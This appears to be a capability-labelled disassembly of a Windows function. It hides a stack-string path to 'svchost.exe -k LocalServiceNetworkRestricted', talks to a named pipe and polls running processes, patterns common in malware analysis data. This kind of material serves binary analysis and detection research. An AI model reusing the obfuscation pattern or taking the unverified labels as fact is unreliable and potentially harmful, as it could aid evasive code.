Function at 0x62c150
Capabilities:
Enumerate processes
Read file on windows
Read pipe
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x65c480
mov eax, dword fs:[0]
push eax
sub esp, 0x6c4
mov eax, dword [0x67206c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x6cc], edx
mov ebx, ecx
xor esi, esi
mov dword [ebp - 4], 0
lea edi, [ebx + 0x104]
mov dword [edx], esi
cmp dword [edi + 0x14], 0x10
jb 0x62c19f
mov edi, dword [edi]
mov eax, dword [ebx + 0x114]
mov dword [ebp - 0x6c4], eax
test eax, eax
jg 0x62c1bc
mov dword [edx], 0xffffffff
xor esi, esi
jmp 0x62c7d4
mov dword [ebp - 0x220], esi
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
lea eax, [ebx + 0xb4]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x230]
call fcn.00603010
mov eax, dword [ebp - 0x6c4]
lea ecx, [ebp - 0x230]
cdq
push edx
push eax
push edi
call fcn.00603200
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x21c]
cmp edx, 0x10
jb 0x62c23c
mov ecx, dword [ebp - 0x230]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x62c232
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x62c835
push edx
push ecx
call fcn.006317bc
add esp, 8
mov edx, dword [ebp - 0x6c4]
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x6c8]
mov ecx, edi
push eax
call fcn.00612090
add esp, 8
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0xf
mov byte [ebp - 0x230], 0
lea eax, [ebx + 0x94]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x230]
call fcn.00603010
mov edi, dword [ebp - 0x6d0]
lea ecx, [ebp - 0x230]
mov eax, edi
cdq
push edx
push eax
push dword [ebp - 0x6c8]
call fcn.00603200
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x21c]
cmp edx, 0x10
jb 0x62c2e5
mov ecx, dword [ebp - 0x230]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x62c2db
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x62c83a
push edx
push ecx
call fcn.006317bc
add esp, 8
inc dword [0x674754]
xor eax, eax
mov dword [ebp - 0x268], 0x669c14
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x250], 7
mov word [ebp - 0x264], ax
lea eax, [ebp - 0x268]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x6c8]
mov edx, edi
push eax
call fcn.00603a90
add esp, 4
lea ecx, [ebp - 0x264]
cmp dword [ebp - 0x250], 8
lea eax, [ebx + 0x78]
cmovae ecx, dword [ebp - 0x264]
cmp dword [eax + 0x14], 8
jb 0x62c34c
mov eax, dword [eax]
push ecx
push eax
call fcn.0063c93c
add esp, 8
test eax, eax
je 0x62c36d
mov eax, dword [ebp - 0x6cc]
xor esi, esi
mov dword [eax], 0xfffffffe
jmp 0x62c7c9
lea ecx, [ebp - 0x284]
call fcn.00606f70
mov byte [ebp - 4], 4
call fcn.00607070
lea ecx, [ebp - 0x230]
mov edx, 0x53
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x6b
push 0x72
push 0x6f
push 0x77
push 0x74
push 0x65
push 0x4e
push 0x65
push 0x63
push 0x69
push 0x76
push 0x72
push 0x65
push 0x53
push 0x6c
push 0x61
push 0x63
push 0x6f
push 0x4c
push 0x20
push 0x6b
push 0x2d
push 0x20
push 0x65
push 0x78
push 0x65
push 0x2e
push 0x74
push 0x73
push 0x6f
push 0x68
push 0x63
push 0x76
push 0x73
push 0x5c
test al, al
je 0x62c4bc
push 0x34
push 0x36
push 0x77
push 0x6f
push 0x57
push 0x73
push 0x79
call fcn.0062a700
add esp, 0x138
push eax
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 5
call fcn.0060ea10
mov byte [ebp - 4], 6
cmp dword [ebp - 0x234], 8
lea eax, [ebp - 0x248]
push dword [ebp - 0x238]
cmovae eax, dword [ebp - 0x248]
lea ecx, [ebp - 0x280]
push eax
call fcn.00611030
lea ecx, [ebp - 0x24c]
call fcn.0060ed70
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x21c]
cmp edx, 8
jb 0x62c4f8
mov ecx, dword [ebp - 0x230]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x62c4ee
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x62c83f
jmp 0x62c4ee
push 0x32
push 0x33
push 0x6d
push 0x65
push 0x74
push 0x73
push 0x79
call fcn.0062a700
add esp, 0x138
push eax
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 7
call fcn.0060ea10
mov byte [ebp - 4], 8
jmp 0x62c44f
push edx
push ecx
call fcn.006317bc
add esp, 8
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 0x6c4], 0
push 0
push eax
call fcn.00633cb0
cmp dword [ebp - 0x26c], 8
lea eax, [ebp - 0x280]
cmovae eax, dword [ebp - 0x280]
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0063c207
lea eax, [ebp - 0x6c4]
push eax
push edi
push dword [ebp - 0x6c8]
lea edx, [ebp - 0x218]
call fcn.006259f0
add esp, 0x24
test eax, eax
jne 0x62c7b2
mov ebx, dword [ebp - 0x6c4]
test ebx, ebx
je 0x62c7b2
mov eax, dword [ebp + 0x1c]
test eax, eax
je 0x62c7b2
lea eax, [eax*4 + 1]
xor ecx, ecx
mov dword [ebp - 0x6d0], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.006317ca
mov edi, eax
add esp, 4
test edi, edi
je 0x62c5ca
mov ecx, dword [ebp - 0x6d0]
add ecx, ecx
push ecx
push 0
push edi
call fcn.00633cb0
add esp, 0xc
lea ecx, [ebp + 0xc]
cmp dword [ebp + 0x20], 8
mov edx, edi
cmovae ecx, dword [ebp + 0xc]
call fcn.0062c850
push 0x208
lea eax, [ebp - 0x490]
mov dword [ebp - 0x494], ebx
push 0
push eax
call fcn.00633cb0
mov ecx, edi
mov dword [ebp - 0x288], 0xffffffff
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x62c5f5
sub ecx, edx
sar ecx, 1
lea ebx, [ecx*2 + 2]
test edi, edi
je 0x62c7a4
cmp ebx, 0x2000
jae 0x62c7a4
push ecx
lea ecx, [ebp - 0x494]
call fcn.0062d090
test al, al
je 0x62c792
push 0
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0x6c4], 0
push eax
push ebx
push edi
push dword [ebp - 0x288]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x62c792
cmp dword [ebp - 0x6c4], ebx
jne 0x62c792
xor esi, esi
cmp dword [ebp - 0x288], 0xffffffff
mov dword [ebp - 0x6c4], esi
je 0x62c77b
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x6c8], esi
nop dword [eax]
push 0x22c
lea eax, [ebp - 0x6c0]
xor bl, bl
push 0
push eax
call fcn.00633cb0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
je 0x62c740
lea eax, [ebp - 0x6c0]
mov dword [ebp - 0x6c0], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x62c700
nop dword [eax]
mov eax, dword [ebp - 0x494]
cmp eax, dword [ebp - 0x6b8]
je 0x62c6fe
lea eax, [ebp - 0x6c0]
push eax
push esi
call edi
test eax, eax
jne 0x62c6e0
jmp 0x62c700
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x62c740
mov eax, dword [ebp - 0x6c8]
test eax, eax
jne 0x62c746
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea eax, [ebp - 0x6c8]
push eax
push 0
push 0
push 0
push dword [ebp - 0x288]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
jmp 0x62c690
mov eax, dword [ebp - 0x6c8]
cmp eax, 4
jne 0x62c769
push 0
lea eax, [ebp - 0x6c8]
push eax
push 4
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x288]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x288]
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov esi, dword [ebp - 0x6c4]
test esi, esi
je 0x62c7a4
cmp esi, 0x64
jbe 0x62c7be
mov eax, dword [ebp - 0x6cc]
mov dword [eax], 0xfffffffc
jmp 0x62c7be
mov eax, dword [ebp - 0x288]
cmp eax, 0xffffffff
je 0x62c7a4
push eax
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov eax, dword [ebp - 0x6cc]
mov dword [eax], 0xfffffffb
jmp 0x62c7be
mov eax, dword [ebp - 0x6cc]
mov dword [eax], 0xfffffffd
lea ecx, [ebp - 0x284]
call fcn.0060ed70
lea ecx, [ebp - 0x268]
call fcn.0060ed70
dec dword [0x674754]
mov edx, dword [ebp + 0x20]
mov dword [ebp + 8], 0x669c14
cmp edx, 8
jb 0x62c817
mov ecx, dword [ebp + 0xc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x62c80d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x62c83f
push edx
push ecx
call fcn.006317bc
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00631776
mov esp, ebp
pop ebp
ret
call fcn.006375a6
call fcn.006375a6
call fcn.006375a6
int3